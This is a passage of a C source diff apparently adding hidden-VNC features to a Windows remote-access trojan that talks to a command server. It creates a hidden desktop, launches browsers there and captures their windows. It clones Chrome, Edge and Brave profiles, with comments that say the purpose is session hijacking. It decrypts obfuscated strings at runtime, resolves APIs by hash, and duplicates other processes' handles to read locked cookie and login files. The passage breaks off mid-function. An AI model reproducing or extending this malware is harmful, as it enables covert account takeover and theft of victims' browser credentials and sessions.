if (g->persist_hbm) { DeleteObject(g->persist_hbm); g->persist_hbm = NULL; } + if (g->persist_hdc) { DeleteDC(g->persist_hdc); g->persist_hdc = NULL; } + g->persist_dib_bits = NULL; + g->persist_dib_w = 0; + g->persist_dib_h = 0; + /* Persistent tile JPEG */ + free(g->tile_jpeg.data); g->tile_jpeg.data = NULL; + g->tile_jpeg.len = 0; g->tile_jpeg.cap = 0; + /* TurboJPEG compressor */ + if (g->tj_compressor) { tjDestroy(g->tj_compressor); g->tj_compressor = NULL; } + /* Window bitmap cache */ + for (int i = 0; i < g->win_cache_count; i++) { + if (g->win_cache[i].hbm) DeleteObject(g->win_cache[i].hbm); + if (g->win_cache[i].hdc) DeleteDC(g->win_cache[i].hdc); + } + g->win_cache_count = 0; +} + +/* Ensure persistent 32-bit BGRA DIB section exists at the given size. + Reuses across frames; only recreates if resolution changes. */ +static void tile_grid_ensure_dib(tile_grid_t *g, int w, int h) { + if (g->persist_dib_w == w && g->persist_dib_h == h && + g->persist_hdc && g->persist_hbm) + return; + + /* Clean up old */ + if (g->persist_hbm) { DeleteObject(g->persist_hbm); g->persist_hbm = NULL; } + if (g->persist_hdc) { DeleteDC(g->persist_hdc); g->persist_hdc = NULL; } + g->persist_dib_bits = NULL; + + HDC hdc_screen = GetDC(NULL); + g->persist_hdc = CreateCompatibleDC(hdc_screen); + ReleaseDC(NULL, hdc_screen); + if (!g->persist_hdc) return; + + BITMAPINFO bmi; + memset(&bmi, 0, sizeof(bmi)); + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmi.bmiHeader.biWidth = w; + bmi.bmiHeader.biHeight = -h; /* top-down */ + bmi.bmiHeader.biPlanes = 1; + bmi.bmiHeader.biBitCount = 32; + bmi.bmiHeader.biCompression = BI_RGB; + + void *bits = NULL; + g->persist_hbm = CreateDIBSection(g->persist_hdc, &bmi, + DIB_RGB_COLORS, &bits, NULL, 0); + if (!g->persist_hbm) { + DeleteDC(g->persist_hdc); + g->persist_hdc = NULL; + return; + } + + SelectObject(g->persist_hdc, g->persist_hbm); + g->persist_dib_bits = (uint8_t *)bits; + g->persist_dib_w = w; + g->persist_dib_h = h; + g->persist_dib_pitch = w * 4; /* BGRA, no padding at 32bpp */ +} + +/* ── Per-window bitmap cache helpers (hVNC) ───────────────────────── */ + +/* Find a cached entry by HWND, returns index or -1 */ +static int win_cache_find(tile_grid_t *g, HWND hwnd) { + for (int i = 0; i < g->win_cache_count; i++) { + if (g->win_cache[i].hwnd == hwnd) + return i; + } + return -1; +} + +/* Allocate (or reuse) a cache entry for the given HWND at the given size. + Creates a DIB section for the window. Returns index or -1 on failure. */ +static int win_cache_alloc(tile_grid_t *g, HWND hwnd, int ww, int wh) { + int idx = win_cache_find(g, hwnd); + + /* If entry exists but size changed, free the old DIB */ + if (idx >= 0 && (g->win_cache[idx].w != ww || g->win_cache[idx].h != wh)) { + if (g->win_cache[idx].hbm) DeleteObject(g->win_cache[idx].hbm); + if (g->win_cache[idx].hdc) DeleteDC(g->win_cache[idx].hdc); + g->win_cache[idx].hdc = NULL; + g->win_cache[idx].hbm = NULL; + g->win_cache[idx].bits = NULL; + } + + /* Need a new slot? */ + if (idx < 0) { + if (g->win_cache_count < MAX_WIN_CACHE) { + idx = g->win_cache_count++; + } else { + /* Evict oldest entry (lowest capture_tick) */ + DWORD oldest_tick = MAXDWORD; + int oldest_idx = 0; + for (int i = 0; i < MAX_WIN_CACHE; i++) { + if (g->win_cache[i].capture_tick < oldest_tick) { + oldest_tick = g->win_cache[i].capture_tick; + oldest_idx = i; + } + } + idx = oldest_idx; + if (g->win_cache[idx].hbm) DeleteObject(g->win_cache[idx].hbm); + if (g->win_cache[idx].hdc) DeleteDC(g->win_cache[idx].hdc); + } + memset(&g->win_cache[idx], 0, sizeof(g->win_cache[idx])); + g->win_cache[idx].hwnd = hwnd; + } + + /* Create DIB section if needed */ + if (!g->win_cache[idx].hdc) { + HDC hdc_screen = GetDC(NULL); + g->win_cache[idx].hdc = CreateCompatibleDC(hdc_screen); + ReleaseDC(NULL, hdc_screen); + if (!g->win_cache[idx].hdc) return -1; + + BITMAPINFO bmi; + memset(&bmi, 0, sizeof(bmi)); + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmi.bmiHeader.biWidth = ww; + bmi.bmiHeader.biHeight = -wh; /* top-down */ + bmi.bmiHeader.biPlanes = 1; + bmi.bmiHeader.biBitCount = 32; + bmi.bmiHeader.biCompression = BI_RGB; + + void *bits = NULL; + g->win_cache[idx].hbm = CreateDIBSection(g->win_cache[idx].hdc, &bmi, + DIB_RGB_COLORS, &bits, NULL, 0); + if (!g->win_cache[idx].hbm) { + DeleteDC(g->win_cache[idx].hdc); + g->win_cache[idx].hdc = NULL; + return -1; + } + SelectObject(g->win_cache[idx].hdc, g->win_cache[idx].hbm); + g->win_cache[idx].bits = (uint8_t *)bits; + g->win_cache[idx].w = ww; + g->win_cache[idx].h = wh; + } + return idx; +} + +/* PrintWindow into the per-window cache DC. No SetViewportOrgEx needed + since the cache DC is window-sized (origin is (0,0)). */ +static void win_cache_capture(tile_grid_t *g, int idx, HWND hwnd) { + BOOL pw_ok = PrintWindow(hwnd, g->win_cache[idx].hdc, 0x00000002 /* PW_RENDERFULLCONTENT */); + int ww = g->win_cache[idx].w; + int wh = g->win_cache[idx].h; + + if (pw_ok && ww > 100 && wh > 100) { + /* Blank-check: sample 3 points for all-white (PrintWindow returned blank) */ + COLORREF c1 = GetPixel(g->win_cache[idx].hdc, ww / 3, wh / 3); + COLORREF c2 = GetPixel(g->win_cache[idx].hdc, ww / 2, wh / 2); + COLORREF c3 = GetPixel(g->win_cache[idx].hdc, ww * 2 / 3, wh * 2 / 3); + if (c1 == 0x00FFFFFF && c2 == 0x00FFFFFF && c3 == 0x00FFFFFF) { + HDC hdc_win = GetDC(hwnd); + if (hdc_win) { + BitBlt(g->win_cache[idx].hdc, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(hwnd, hdc_win); + } + } + } else if (!pw_ok) { + HDC hdc_win = GetDC(hwnd); + if (hdc_win) { + BitBlt(g->win_cache[idx].hdc, 0, 0, ww, wh, hdc_win, 0, 0, SRCCOPY); + ReleaseDC(hwnd, hdc_win); + } + } + + /* Content hash: CRC32 over every 4th row to detect actual changes */ + if (g->win_cache[idx].bits && ww > 0 && wh > 0) { + if (!crc32_table_ready) crc32_init(); + uint32_t crc = 0xFFFFFFFF; + int row_bytes = ww * 4; + for (int row = 0; row < wh; row += 4) { + const uint8_t *p = g->win_cache[idx].bits + (size_t)row * row_bytes; + for (int b = 0; b < row_bytes; b++) + crc = crc32_table[(crc ^ p[b]) & 0xFF] ^ (crc >> 8); + } + crc ^= 0xFFFFFFFF; + if (crc == g->win_cache[idx].content_hash) { + if (g->win_cache[idx].stable_count < 12) + g->win_cache[idx].stable_count++; + } else { + g->win_cache[idx].content_hash = crc; + g->win_cache[idx].stable_count = 0; + } + } + + g->win_cache[idx].capture_tick = GetTickCount(); + g->win_cache[idx].needs_recapture = FALSE; +} + +/* Remove entries for windows that no longer exist, freeing their GDI objects */ +static void win_cache_cleanup(tile_grid_t *g) { + for (int i = g->win_cache_count - 1; i >= 0; i--) { + if (!IsWindow(g->win_cache[i].hwnd)) { + if (g->win_cache[i].hbm) DeleteObject(g->win_cache[i].hbm); + if (g->win_cache[i].hdc) DeleteDC(g->win_cache[i].hdc); + /* Compact: move last entry to this slot */ + if (i < g->win_cache_count - 1) + g->win_cache[i] = g->win_cache[g->win_cache_count - 1]; + g->win_cache_count--; + } + } +} + +/* ── VNC state ─────────────────────────────────────────────────────── */ + +typedef struct { + char token[128]; + char server_url[ZERIN_MAX_URL_LEN]; + char user_agent[256]; + volatile LONG running; + int quality; + int target_fps; + int screen_w; + int screen_h; + /* WinHTTP handles (own session, separate from beacon) */ + HINTERNET session; + HINTERNET connect; + wchar_t host[512]; + INTERNET_PORT port; + BOOL use_tls; + uint64_t frame_number; + /* hVNC fields */ + BOOL is_hvnc; + HDESK hidden_desktop; + wchar_t desktop_name[64]; + HANDLE job_object; + HWND last_target_window; + /* WebSocket transport */ + BOOL use_websocket; + HINTERNET ws_handle; + HANDLE ws_recv_thread; + HANDLE ws_input_evt; + CRITICAL_SECTION ws_input_lock; + uint8_t *ws_input_data; + size_t ws_input_len; + volatile LONG ws_connected; + /* Input timing for conditional redraw */ + DWORD last_input_tick; + /* Persistent WebSocket send buffer */ + uint8_t *ws_send_buf; + size_t ws_send_cap; + /* Capture method: 0=auto, 1=DXGI, 2=GDI */ + int capture_method; +} vnc_state_t; + +/* ── Double-buffer pipeline (regular VNC only) ────────────────────── */ + +typedef struct { + CRITICAL_SECTION lock; + HANDLE frame_ready_evt; /* capture → network */ + HANDLE frame_sent_evt; /* network → capture (initially signaled) */ + jpeg_buffer_t frame_buf; + int width, height; + volatile LONG alive; +} vnc_pipeline_t; + +/* hVNC capture thread context — separate thread on the hidden desktop + captures frames and hands them to the main VNC thread (which stays + on the default desktop so WinHTTP networking works correctly). + Also handles input events since PostMessage/WindowFromPoint are + desktop-scoped and must run on the hidden desktop. */ +typedef struct { + HDESK desktop; + vnc_state_t *vnc; + jpeg_buffer_t jpeg; /* capture thread's working JPEG buffer */ + tile_grid_t grid; /* persistent tile state for dirty detection */ + int width, height; + int result; /* last capture result */ + /* Double-buffer pipeline (replaces request/done events) */ + HANDLE frame_ready_evt; /* capture → main: frame available */ + HANDLE frame_sent_evt; /* main → capture: done sending */ + jpeg_buffer_t pipe_buf; /* pipeline buffer for main thread */ + CRITICAL_SECTION pipe_lock; /* protects pipe_buf swap */ + int pipe_width, pipe_height; + volatile LONG alive; + /* Input forwarding: main thread copies input data here under lock, + capture thread processes it at the start of each cycle. */ + CRITICAL_SECTION input_lock; + uint8_t *input_data; + size_t input_len; +} hvnc_capture_ctx_t; + +static vnc_state_t *g_vnc = NULL; +static HANDLE g_vnc_thread = NULL; +static dxgi_ctx_t *g_dxgi_ctx = NULL; + +/* ── URL parsing (local copy — http.c's parse_url is static) ──────── */ + +static int to_wide(const char *src, wchar_t *dst, size_t dst_chars) { + return MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, (int)dst_chars); +} + +static int vnc_parse_url(const char *url, wchar_t *host, size_t host_chars, + INTERNET_PORT *port, BOOL *use_tls) { + const char *p = url; + *use_tls = FALSE; + + if (strncmp(p, "https://", 8) == 0) { + *use_tls = TRUE; + *port = 443; + p += 8; + } else if (strncmp(p, "http://", 7) == 0) { + *port = 80; + p += 7; + } else { + return -1; + } + + char host_narrow[512]; + const char *host_end = strchr(p, '/'); + const char *port_sep = strchr(p, ':'); + + if (port_sep && (!host_end || port_sep < host_end)) { + size_t hlen = (size_t)(port_sep - p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + long pval = strtol(port_sep + 1, NULL, 10); + if (pval > 0 && pval <= 65535) + *port = (INTERNET_PORT)pval; + } else { + size_t hlen = host_end ? (size_t)(host_end - p) : strlen(p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + } + + to_wide(host_narrow, host, host_chars); + return 0; +} + +/* ── Diagnostic logging ───────────────────────────────────────────── */ + +#ifdef _DEBUG +static void vnc_log(const char *fmt, ...) { + char buf[512]; + va_list args; + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + OutputDebugStringA(buf); + printf("%s", buf); + fflush(stdout); + /* Also append to a log file so we can capture output remotely */ + { + static HANDLE hLog = INVALID_HANDLE_VALUE; + if (hLog == INVALID_HANDLE_VALUE) { + char path[MAX_PATH]; + DWORD len = GetEnvironmentVariableA("USERPROFILE", path, MAX_PATH); + if (len > 0 && len < MAX_PATH - 30) + lstrcatA(path, "\\Desktop\\zerin_vnc.log"); + else + lstrcpyA(path, "zerin_vnc.log"); + hLog = CreateFileA(path, GENERIC_WRITE, FILE_SHARE_READ, + NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + } + if (hLog != INVALID_HANDLE_VALUE) { + DWORD written; + WriteFile(hLog, buf, lstrlenA(buf), &written, NULL); + FlushFileBuffers(hLog); + } + } +} +#define VNC_LOG(...) vnc_log(__VA_ARGS__) +#else +#define VNC_LOG(...) ((void)0) +#endif + +/* ── hVNC helpers ──────────────────────────────────────────────────── */ + +static void hvnc_generate_desktop_name(wchar_t *name, size_t len) { + LARGE_INTEGER counter; + QueryPerformanceCounter(&counter); + DWORD tick = GetTickCount(); + DWORD pid = GetCurrentProcessId(); + uint64_t seed = (uint64_t)counter.QuadPart ^ ((uint64_t)tick << 16) ^ ((uint64_t)pid << 32); + + /* Simple LCG for random hex chars */ + static const wchar_t hex[] = L"0123456789abcdef"; + wchar_t hex_part[17]; + for (int i = 0; i < 16; i++) { + seed = seed * 6364136223846793005ULL + 1442695040888963407ULL; + hex_part[i] = hex[(seed >> 32) & 0xF]; + } + hex_part[16] = L'\0'; + + _snwprintf(name, len, L"Desktop_%ls", hex_part); + name[len - 1] = L'\0'; +} + +static int hvnc_create_desktop(vnc_state_t *vnc) { + hvnc_generate_desktop_name(vnc->desktop_name, 64); + + vnc->hidden_desktop = CreateDesktopW( + vnc->desktop_name, + NULL, NULL, 0, + GENERIC_ALL, + NULL + ); + if (!vnc->hidden_desktop) { + VNC_LOG("[hVNC] CreateDesktopW failed: %lu\n", GetLastError()); + return -1; + } + + /* Create Job Object to track all child processes */ + vnc->job_object = CreateJobObjectW(NULL, NULL); + if (!vnc->job_object) { + VNC_LOG("[hVNC] CreateJobObjectW failed: %lu\n", GetLastError()); + CloseDesktop(vnc->hidden_desktop); + vnc->hidden_desktop = NULL; + return -1; + } + + /* Kill all processes when job handle is closed */ + JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli; + memset(&jeli, 0, sizeof(jeli)); + jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; + SetInformationJobObject(vnc->job_object, JobObjectExtendedLimitInformation, + &jeli, sizeof(jeli)); + + VNC_LOG("[hVNC] Created hidden desktop: %ls\n", vnc->desktop_name); + return 0; +} + +/* Context passed to the short-lived launcher thread */ +typedef struct { + HDESK desktop; + HANDLE job_object; + wchar_t desktop_name[64]; + wchar_t cmdline_w[1024]; + int result; + DWORD error; +} hvnc_launch_ctx_t; + +/* Forward declaration (defined after hvnc_cleanup) */ +static int hvnc_fix_taskbar_position(int screen_w, int screen_h); + +/* Launcher thread: runs on a fresh thread with NO windows attached, + so SetThreadDesktop() will succeed. This is the only reliable way + to get console processes (cmd, powershell) to create their console + host (conhost.exe) on the hidden desktop. The beacon thread has + WinHTTP windows attached and can never switch desktops. */ +static DWORD WINAPI hvnc_launcher_thread(LPVOID param) { + hvnc_launch_ctx_t *ctx = (hvnc_launch_ctx_t *)param; + + /* Bind this thread to the hidden desktop FIRST */ + if (!SetThreadDesktop(ctx->desktop)) { + ctx->error = GetLastError(); + ctx->result = -1; + return 1; + } + + wchar_t full_desktop[128]; + _snwprintf(full_desktop, 128, L"WinSta0\\%ls", ctx->desktop_name); + full_desktop[127] = L'\0'; + + /* Log the actual command line being launched */ + { + char narrow_cmd[1024]; + WideCharToMultiByte(CP_ACP, 0, ctx->cmdline_w, -1, + narrow_cmd, sizeof(narrow_cmd), NULL, NULL); + VNC_LOG("[hVNC-launch] cmdline: %s\n", narrow_cmd); + } + + STARTUPINFOW si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + si.lpDesktop = full_desktop; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_SHOWMAXIMIZED; + + BOOL ok = CreateProcessW( + NULL, ctx->cmdline_w, NULL, NULL, FALSE, + CREATE_SUSPENDED, + NULL, NULL, &si, &pi + ); + + if (!ok) { + ctx->error = GetLastError(); + ctx->result = -1; + return 1; + } + + AssignProcessToJobObject(ctx->job_object, pi.hProcess); + ResumeThread(pi.hThread); + + /* Wait for the process to create its main window, then maximize it. + Explorer and browsers ignore STARTUPINFO's wShowWindow, so we + must actively find and maximize their windows after creation. */ + WaitForInputIdle(pi.hProcess, 5000); + Sleep(500); /* extra time for window creation */ + + /* Check if the process is still alive after WaitForInputIdle */ + DWORD exit_code = 0; + GetExitCodeProcess(pi.hProcess, &exit_code); + VNC_LOG("[hVNC-launch] PID=%lu exit_code=%lu (259=STILL_ACTIVE)\n", + (unsigned long)pi.dwProcessId, (unsigned long)exit_code); + + /* If parent died (Chromium multi-process handoff), enumerate child + processes in our Job Object to see if a browser process survived */ + if (exit_code != 259) { + VNC_LOG("[hVNC-launch] Parent exited — scanning job for child processes...\n"); + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(pe); + int found = 0; + if (Process32FirstW(snap, &pe)) { + do { + if (pe.th32ProcessID == pi.dwProcessId) continue; + HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, + pe.th32ProcessID); + if (hProc) { + BOOL in_job = FALSE; + IsProcessInJob(hProc, ctx->job_object, &in_job); + if (in_job) { + char narrow_exe[260]; + WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, + narrow_exe, sizeof(narrow_exe), + NULL, NULL); + DWORD child_exit = 0; + GetExitCodeProcess(hProc, &child_exit); + VNC_LOG("[hVNC-launch] child PID=%lu exe='%s' exit=%lu\n", + (unsigned long)pe.th32ProcessID, + narrow_exe, (unsigned long)child_exit); + found++; + } + CloseHandle(hProc); + } + } while (Process32NextW(snap, &pe)); + } + CloseHandle(snap); + VNC_LOG("[hVNC-launch] Found %d child process(es) in job\n", found); + + /* If children exist, give them time to create windows */ + if (found > 0) { + VNC_LOG("[hVNC-launch] Waiting 3s for child windows...\n"); + Sleep(3000); + } + } + } + + /* Maximize ALL visible windows on this desktop (not just parent PID, + since Chromium's browser process is a child with a different PID) */ + { + HWND hwnd = GetTopWindow(NULL); + while (hwnd) { + if (IsWindowVisible(hwnd)) { + RECT wr; + GetWindowRect(hwnd, &wr); + int ww = wr.right - wr.left; + int wh = wr.bottom - wr.top; + /* Only maximize actual app windows, skip tiny/system windows */ + if (ww > 200 && wh > 200) { + char cls[128] = {0}; + GetClassNameA(hwnd, cls, sizeof(cls)); + /* Skip desktop and taskbar */ + if (strcmp(cls, "Progman") != 0 && + strcmp(cls, "Shell_TrayWnd") != 0 && + strcmp(cls, "UAC Input Indicator") != 0 && + strcmp(cls, "UAC_InputIndicatorOverlayWnd") != 0) { + ShowWindow(hwnd, SW_SHOWMAXIMIZED); + VNC_LOG("[hVNC-launch] Maximized '%s' %dx%d\n", cls, ww, wh); + } + } + } + hwnd = GetWindow(hwnd, GW_HWNDNEXT); + } + } + + /* Fix taskbar position to bottom after process launch */ + { + int sw = GetSystemMetrics(SM_CXSCREEN); + int sh = GetSystemMetrics(SM_CYSCREEN); + if (sw > 0 && sh > 0) + hvnc_fix_taskbar_position(sw, sh); + } + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + ctx->result = 0; + ctx->error = 0; + return 0; +} + +/* Try to resolve a bare executable name to a full path by checking + common install locations. Returns 1 if resolved (buf filled), 0 if not. */ +/* ── Browser profile cloning for session hijacking ───────────────── */ + +typedef struct { + const char *exe; + const char *profile_subpath; /* Relative to LOCALAPPDATA */ +} browser_profile_info_t; + +/* Runtime-decrypted browser profile paths */ +static char _vnc_bp_chrome[64], _vnc_bp_edge[64], _vnc_bp_brave[64]; +static browser_profile_info_t browser_profile_map[4]; +static int _vnc_bp_init = 0; + +static void vnc_init_browser_profiles(void) { + if (_vnc_bp_init) return; + obf_decrypt_to(OBF_CHROME_USERDATA, _vnc_bp_chrome, sizeof(_vnc_bp_chrome)); + obf_decrypt_to(OBF_EDGE_USERDATA, _vnc_bp_edge, sizeof(_vnc_bp_edge)); + obf_decrypt_to(OBF_BRAVE_USERDATA, _vnc_bp_brave, sizeof(_vnc_bp_brave)); + browser_profile_map[0] = (browser_profile_info_t){ "chrome.exe", _vnc_bp_chrome }; + browser_profile_map[1] = (browser_profile_info_t){ "msedge.exe", _vnc_bp_edge }; + browser_profile_map[2] = (browser_profile_info_t){ "brave.exe", _vnc_bp_brave }; + browser_profile_map[3] = (browser_profile_info_t){ NULL, NULL }; + _vnc_bp_init = 1; +} + +/* Directories to skip during profile cloning (too large, not needed) */ +static int should_skip_clone(const char *name) { + static const char *skip[] = { + "Cache", "Code Cache", "GPUCache", "GpuCache", "ShaderCache", + "Service Worker", "DawnGraphiteCache", "DawnWebGPUCache", + "optimization_guide_model_store", "BrowserMetrics", + "Crashpad", "blob_storage", "File System", + "GCM Store", "VideoDecodeStats", "component_crx_cache", + NULL + }; + for (int i = 0; skip[i]; i++) { + if (_stricmp(name, skip[i]) == 0) return 1; + } + return 0; +} + +/* ── Handle hijacking for locked file copying ────────────────────── */ + +#define SYS_EXTENDED_HANDLE_INFO 0x40 +#define NT_STATUS_INFO_LEN_MISMATCH ((LONG)0xC0000004L) + +typedef LONG (NTAPI *fn_NtQuerySystemInformation)( + ULONG, PVOID, ULONG, PULONG); + +typedef struct { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYS_HANDLE_ENTRY_EX; /* 40 bytes on x64 */ + +typedef struct { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYS_HANDLE_ENTRY_EX Handles[1]; +} SYS_HANDLE_INFO_EX; + +/* Restart Manager types (defined manually for MinGW compatibility) */ +typedef struct { DWORD dwProcessId; FILETIME ProcessStartTime; } RM_UPROC; +typedef struct { + RM_UPROC Process; + WCHAR strAppName[256]; + WCHAR strServiceShortName[64]; + DWORD ApplicationType; + DWORD AppStatus; + DWORD TSSessionId; + BOOL bRestartable; +} RM_PINFO; + +typedef DWORD (WINAPI *fn_RmStartSession)(DWORD*, DWORD, WCHAR[]); +typedef DWORD (WINAPI *fn_RmRegisterResources)(DWORD, UINT, LPCWSTR[], UINT, + RM_UPROC[], UINT, LPCWSTR[]); +typedef DWORD (WINAPI *fn_RmGetList)(DWORD, UINT*, UINT*, RM_PINFO[], LPDWORD); +typedef DWORD (WINAPI *fn_RmEndSession)(DWORD); + +static void wpath_lower(wchar_t *s) { + for (; *s; s++) + if (*s >= L'A' && *s <= L'Z') *s += 32; +} + +/* Get PIDs that have a file locked using Restart Manager API */ +static int get_locking_pids(const wchar_t *filepath, DWORD *pids, int max_pids) { + char rm_dll[24]; + obf_decrypt_to(OBF_RSTRTMGR_DLL, rm_dll, sizeof(rm_dll)); + HMODULE hRm = LoadLibraryA(rm_dll); + obf_wipe(rm_dll, sizeof(rm_dll)); + if (!hRm) return 0; + + fn_RmStartSession rmStart = (fn_RmStartSession) + GetProcAddress(hRm, "RmStartSession"); + fn_RmRegisterResources rmReg = (fn_RmRegisterResources) + GetProcAddress(hRm, "RmRegisterResources"); + fn_RmGetList rmList = (fn_RmGetList) + GetProcAddress(hRm, "RmGetList"); + fn_RmEndSession rmEnd = (fn_RmEndSession) + GetProcAddress(hRm, "RmEndSession"); + + if (!rmStart || !rmReg || !rmList || !rmEnd) { + FreeLibrary(hRm); + return 0; + } + + DWORD session; + WCHAR sesskey[33] = {0}; + if (rmStart(&session, 0, sesskey) != ERROR_SUCCESS) { + FreeLibrary(hRm); + return 0; + } + + LPCWSTR files[] = { filepath }; + if (rmReg(session, 1, files, 0, NULL, 0, NULL) != ERROR_SUCCESS) { + rmEnd(session); + FreeLibrary(hRm); + return 0; + } + + UINT needed = 0, count = 0; + DWORD reason = 0; + rmList(session, &needed, &count, NULL, &reason); + + int result = 0; + if (needed > 0) { + RM_PINFO *procs = (RM_PINFO *)calloc(needed, sizeof(RM_PINFO)); + if (procs) { + count = needed; + if (rmList(session, &needed, &count, procs, &reason) == ERROR_SUCCESS) { + for (UINT i = 0; i < count && result < max_pids; i++) + pids[result++] = procs[i].Process.dwProcessId; + } + free(procs); + } + } + + rmEnd(session); + FreeLibrary(hRm); + return result; +} + +/* Read a locked file via handle hijacking: + NtQuerySystemInformation → DuplicateHandle → CreateFileMapping → MapViewOfFile */ +static uint8_t *hijack_read_file(const char *filepath, size_t *out_len) { + *out_len = 0; + + /* Convert to wide string and canonicalize */ + wchar_t wide_path[MAX_PATH]; + if (!MultiByteToWideChar(CP_ACP, 0, filepath, -1, wide_path, MAX_PATH)) + return NULL; + + wchar_t canon[MAX_PATH]; + if (!GetFullPathNameW(wide_path, MAX_PATH, canon, NULL)) { + wcsncpy(canon, wide_path, MAX_PATH - 1); + canon[MAX_PATH - 1] = L'\0'; + } + wpath_lower(canon); + + /* Use Restart Manager to narrow which PIDs to scan */ + DWORD target_pids[32]; + int npids = get_locking_pids(wide_path, target_pids, 32); + + /* Resolve NtQuerySystemInformation via PEB walk */ + fn_NtQuerySystemInformation pNtQuery = RESOLVE_API(HASH_NTDLL, HASH_NtQuerySystemInformation, fn_NtQuerySystemInformation); + if (!pNtQuery) return NULL; + + /* Query all system handles — double buffer size until it fits */ + ULONG bufsz = 1024 * 1024; + SYS_HANDLE_INFO_EX *hinfo = NULL; + LONG status; + + for (int tries = 0; tries < 10; tries++) { + hinfo = (SYS_HANDLE_INFO_EX *)malloc(bufsz); + if (!hinfo) return NULL; + status = pNtQuery(SYS_EXTENDED_HANDLE_INFO, hinfo, bufsz, NULL); + if (status == 0) break; /* STATUS_SUCCESS */ + free(hinfo); + hinfo = NULL; + if (status == NT_STATUS_INFO_LEN_MISMATCH) { bufsz *= 2; continue; } + return NULL; + } + if (!hinfo) return NULL; + + uint8_t *result = NULL; + DWORD my_pid = GetCurrentProcessId(); + + for (ULONG_PTR i = 0; i < hinfo->NumberOfHandles; i++) { + SYS_HANDLE_ENTRY_EX *e = &hinfo->Handles[i]; + DWORD pid = (DWORD)e->UniqueProcessId; + + if (pid == my_pid || pid < 8) continue; + + /* If Restart Manager gave us PIDs, only check those processes */ + if (npids > 0) { + int match = 0; + for (int p = 0; p < npids; p++) + if (target_pids[p] == pid) { match = 1; break; } + if (!match) continue; + } + + HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); + if (!hProc) continue; + + HANDLE hDup = NULL; + BOOL dup_ok = DuplicateHandle(hProc, (HANDLE)e->HandleValue, + GetCurrentProcess(), &hDup, 0, FALSE, DUPLICATE_SAME_ACCESS); + CloseHandle(hProc); + if (!dup_ok || !hDup) continue; + + /* Filter to disk files only */ + if (GetFileType(hDup) != FILE_TYPE_DISK) { + CloseHandle(hDup); + continue; + } + + /* Compare file paths */ + wchar_t hpath[MAX_PATH]; + DWORD plen = GetFinalPathNameByHandleW(hDup, hpath, MAX_PATH, 0); + if (plen == 0 || plen >= MAX_PATH) { + CloseHandle(hDup); + continue; + } + + wchar_t *cmp = hpath; + if (wcsncmp(cmp, L"\\\\?\\", 4) == 0) cmp += 4; + + wchar_t lower[MAX_PATH]; + wcsncpy(lower, cmp, MAX_PATH - 1); + lower[MAX_PATH - 1] = L'\0'; + wpath_lower(lower); + + if (wcscmp(lower, canon) != 0) { + CloseHandle(hDup); + continue; + } + + /* Path matched — read file contents via memory mapping */ + LARGE_INTEGER fsz; + if (!GetFileSizeEx(hDup, &fsz) || fsz.QuadPart == 0 || + fsz.QuadPart > 50LL * 1024 * 1024) { + CloseHandle(hDup); + continue; + } + + HANDLE hMap = CreateFileMappingA(hDup, NULL, PAGE_READONLY, 0, 0, NULL); + if (!hMap) { CloseHandle(hDup); continue; } + + void *view = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); + if (view) { + size_t sz = (size_t)fsz.QuadPart; + result = (uint8_t *)malloc(sz); + if (result) { + memcpy(result, view, sz); + *out_len = sz; + } + UnmapViewOfFile(view); + } + + CloseHandle(hMap); + CloseHandle(hDup); + if (result) break; + } + + free(hinfo); + return result; +} + +/* Copy a single file with fallback chain: + 1. CopyFileA (fast, works if unlocked) + 2. Shared-mode read + manual copy (works for shared locks) + 3. Handle hijacking via DuplicateHandle + memory mapping (exclusive locks) */ +static int clone_file(const char *src, const char *dst) { + /* 1. Normal copy — fastest path */ + if (CopyFileA(src, dst, FALSE)) return 1; + + /* 2. Shared-mode read — handles FILE_SHARE_READ/WRITE/DELETE locks */ + HANDLE hSrc = CreateFileA(src, GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hSrc != INVALID_HANDLE_VALUE) { + HANDLE hDst = CreateFileA(dst, GENERIC_WRITE, 0, + NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hDst != INVALID_HANDLE_VALUE) { + char buf[65536]; + DWORD rd, wr; + int ok = 1; + while (ReadFile(hSrc, buf, sizeof(buf), &rd, NULL) && rd > 0) { + if (!WriteFile(hDst, buf, rd, &wr, NULL) || wr != rd) { + ok = 0; break; + } + } + CloseHandle(hDst); + CloseHandle(hSrc); + if (ok) return 1; + } else { + CloseHandle(hSrc); + } + } + + /* 3. Handle hijacking — for exclusively-locked files (Chrome Cookies, Login Data, etc.) */ + size_t data_len = 0; + uint8_t *data = hijack_read_file(src, &data_len); + if (data && data_len > 0) { + HANDLE hDst = CreateFileA(dst, GENERIC_WRITE, 0, + NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 